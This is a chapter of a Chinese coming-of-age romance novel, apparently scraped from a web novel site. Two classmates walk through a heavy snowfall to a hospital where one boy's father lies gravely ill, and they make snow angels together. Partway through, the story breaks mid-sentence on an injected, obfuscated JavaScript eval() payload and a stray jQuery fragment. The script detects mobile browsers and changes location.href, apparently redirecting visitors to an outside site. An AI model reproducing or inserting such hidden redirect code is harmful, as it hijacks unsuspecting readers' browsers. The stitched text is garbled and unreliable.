邹筱和关笑吟大概就是在初二秋游后疏远的。
邹筱不再在课间找她聊天，不再拉着她去便利店买关东煮，甚至在走廊上迎面撞见时，也只是低头匆匆走过，仿佛她们之间从未有过那些叽叽喳喳的午后。
关笑吟记得最后一次与邹筱的对话是在秋游回程的大巴上。
邹筱把被退回的信封揉成一团，声音轻得像羽毛：“他说他有喜欢的人了。”
关笑吟当时只是沉默着。
“你知道是谁吗？”邹筱突然转头问她，眼睛红得像兔子。
关笑吟摇头，喉咙发紧。
她确实不知道——或者说，不愿意深想。
“算了。”邹筱把脸转向窗外，“反正不会是我。”
那一刻，关笑吟才意识到，或许她们从来不是真正心理上亲密的朋友。那些看似热络的交谈背后，邹筱的目光始终越过她，落在另一个人身上。她只是邹筱接近陶昨非的桥梁，一旦桥梁失去作用，友情也随之崩塌。
关笑吟没有挽留。
她偶尔会想起邹筱递信时亮晶晶的眼睛，想起她压低声音问的那句“你喜欢陶昨非吗？”
但最终也只是把那些记忆塞进脑海的某个角落，像对待一张过期的电影票，不再翻看。
罪魁祸首是陶昨非，她有时候会这样想。
但她也没忍心真怪罪过他。
因为陶见川的身体，在他们初二下学期之后，像被抽走支撑的积木塔，一层一层塌了下去。
到了初三，他已经几乎离不开医院。
老关说，病危通知都下了几回，可陶见川总能在最后关头被一口气拽回来，像是有什么执念未了，硬撑着不肯放手。
放学后，关笑吟和陶昨非依然会一起去医院。
陶昨非的话越来越少。
有时候，整个公交车上，只有车窗外的霓虹灯映在他侧脸上，而他只是沉默地看着窗外，睫毛在眼下投下一小片阴影，像是把自己关进了某个别人进不去的世界。
关笑吟不知道该说什么，所以大多数时候，她也只是安静地坐在他旁边，偶尔在颠簸时，肩膀轻轻撞上他的。
初三的冬天，江川下了一场大雪。
那是关笑吟记忆里最大的一场雪。
十二月，月考完的傍晚，关笑吟刚走出教学楼，就被扑面而来的冷风呛得缩了缩脖子。天色阴沉，灰白的云层压得很低，像是随时要塌下来。
她低头搓了搓手，呵出的白雾在眼前散开，又很快被风吹散。
校门口，陶昨非已经站在那里等她。他穿着黑色羽绒服，拉链拉到下巴，领口微微立起，遮住了半张脸。肩上挎着书包，手里还拎着一个保温杯——那是沈兰茵每天都会给他装的姜茶，说是怕他感冒。
关笑吟小跑过去，在他身边站定。
“今天好冷。”她随口说道，声音在寒风里显得有点抖。
陶昨非“嗯”了一声，没多说话，只是低头从口袋里摸出一包暖宝宝，撕开一片递给她。
关笑吟愣了一下，接过来，暖意立刻从掌心蔓延到指尖。
“你什么时候买的？”她问。
“我妈塞的。”他语气平淡，目光落在远处，像是没太在意这个话题。
关笑吟把暖宝宝贴在毛衣内侧，热流顺着胸口扩散。
她偷偷瞥了眼陶昨非的侧脸——他的鼻尖被冻得微微发红，睫毛上沾着细小的雪粒，眨眼时像蝴蝶抖落翅膀上的霜。
他们沿着人行道往医院走，街边的梧桐树早已光秃秃的，枝丫在风中轻轻摇晃。路上行人不多，偶尔有汽车驶过，轮胎碾过湿漉漉的地面，发出细微的沙沙声。
陶昨非的步子比平时慢了一些，关笑吟也不自觉地放慢脚步，和他保持同样的节奏。
“今天数学卷子最后一道题，你做了吗？”她试着找了个话题。
“做了。”
“答案是多少？”
“根号三。”
“哦。”关笑吟撇撇嘴，“我算错了。”
陶昨非侧头看了她一眼，似乎想说什么，但最终只是轻轻叹了口气，伸手从书包里抽出一张草稿纸递给她，“步骤。”
关笑吟接过来，低头看了看，纸上的字迹干净利落，解题思路清晰得像是印上去的。她忍不住笑了，“你写这么详细，是怕我看不懂？”
“嗯。”他居然承认了。
关笑吟瞪他，但嘴角还是翘着的。
她把草稿纸小心折好塞进书包，突然发现陶昨非的一截脖颈暴露在寒风中，已经冻得发红。
关笑吟犹豫了一下，从书包里翻出一条围巾——深蓝色的，是今早老关硬给她塞进去的，她嫌围巾捂得慌，其实向来不爱戴。
“给你。”她递过去。
陶昨非低头看了看，没接，“你自己戴。”
“我不冷。”她固执地往前递了递，“你脖子都冻红了。”
陶昨非沉默了两秒，终于伸手接过，低头把围巾绕在脖子上。
他的动作很轻，围巾有点短，在他脖子上绕一圈后只剩短短一截垂在胸前，看起来有些滑稽。
关笑吟看着他，突然觉得有点好笑——他平时总是一副冷淡的样子，现在裹着她的围巾，莫名显得有点乖。
“笑什么？”他察觉到她的视线。
“没什么。”她别过脸，嘴角却忍不住上扬。
到医院时，天已经完全黑了。
住院部的灯光惨白，关笑吟跟在陶昨非身后，看着他的背影——黑色羽绒服上落了一层薄雪，走进温暖的室内后，雪粒渐渐融化，变成细小的水珠。
医院的暖气开得很足，关笑吟搓了搓脸。
陶昨非去病房看陶见川，她则照例先去老关办公室写作业。
推开门时，关既明正对着电脑写病历，头也不抬地说：“桌上有热牛奶，赶紧喝了。”
关笑吟捧起杯子，暖意从掌心蔓延到全身。
她小口啜着牛奶，目光不自觉地飘向窗外——从这个角度，刚好能看到住院部楼下的花园，此刻已经被雪覆盖成一片纯白。
“陶叔叔今天怎么样？”她问。
关既明敲键盘的手顿了顿，“还行，刚吃了药，睡了。”
关笑吟“嗯”了一声，没再多问。老关的“还行”从来都只是安慰人的说法，她知道陶见川的情况并不乐观。
她翻开数学作业，写了没两行，又忍不住看向窗外。
雪还在下，花园的长椅上像铺了层棉花糖。
一个黑色的身影走进了她的视线。
陶昨非独自坐在长椅上，没戴帽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15680186|173259||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子，雪落在他发梢和肩上，他也懒得拂去，只是低头看着掌心，不知道在想什么。
关笑吟放下笔，抓起羽绒服就往外跑。
“干什么去？”老关在后面问。
“透口气！”她头也不回地喊。
雪地里很安静，连脚步声都被积雪吞没。
关笑吟蹑手蹑脚地走到陶昨非身后，突然伸手往他领子里塞了一团雪。
陶昨非一惊，猛地站起来，雪块顺着后背滑下去，冰凉刺骨。
他回头瞪她，眼神终于有了点波动。
关笑吟笑得欠揍，“活该！谁让你坐这儿发呆的，不怕感冒啊？”
陶昨非盯着她看了两秒，突然弯腰抓起一把雪，关笑吟尖叫一声转身就跑，却被他一把拽住帽子拖了回来。
“错了错了！”她举手投降，却被他轻轻按进雪堆里。
“躺好。”他说。
关笑吟茫然地眨了眨眼，看着陶昨非在她身边躺下，双臂张开，在雪地上划了两下。
“你在干嘛？”
“雪天使。”他指了指地上留下的痕迹，“小时候玩过吗？”
关笑吟怔住。
她没想到陶昨非会突然提起“小时候”——他很少聊过去，尤其是那些轻松愉快的记忆。
她学着他的样子，在雪地上划动手臂，冰凉的雪钻进袖口，她却莫名觉得开心。
“像吗？”她侧头问。
陶昨非看了看她身边歪歪扭扭的“天使翅膀”，嘴角微微扬起，“像只扑棱蛾子。”
关笑吟抓起一把雪糊在他脸上。
他们躺在雪地里，看着灰蒙蒙的天空，雪花落在脸上，又很快融化。
“陶昨非。”关笑吟轻声叫他的名字。
“嗯。”
“你冷不冷？”
“不冷。”
“骗人，你手一定是冰的。”
有一片雪花落在她的睫毛上。
关笑吟盯着自己呼出的白雾消散在空气里，听见身旁传来衣料摩擦的窸窣声，有只手碰到她的袖口，犹豫了一下，轻放在她的手背上。
关笑吟的手僵了一瞬，却没抽开——是温凉的，确实不算冰。
雪继续无声地落着。
那天晚上，关既明工作没结束，关笑吟先独自回家时，雪已经积了厚厚一层。
陶昨非送她到公交站，路灯的光晕在雪地上映出暖黄色的光圈。
关笑吟踩在雪里，靴子陷进去，发出咯吱咯吱的声响。
“明天见。”她冲他挥挥手。
陶昨非点点头，没说话。
公交车缓缓驶来，关笑吟跳上车，透过车窗看他。
他还站在原地，黑色身影在雪中显得格外清晰。围巾的尾端被风吹起，像是一小片深蓝色的旗帜。
车子启动，他的身影渐渐变小，最后消失在雪幕里。
那天之后，陶昨非请了一周的假。
陶见川的身体再次急转直下，又一次被医生发了病危通知。
关笑吟每天放学后都会去医院，有时候能碰到他，有时候只能从老关那里听说他刚回去休息。
陶见川的情况时好时坏，像是一盏在风里摇晃的灯，不知道哪一刻就会彻底熄灭。
而中考，正在一天天逼近。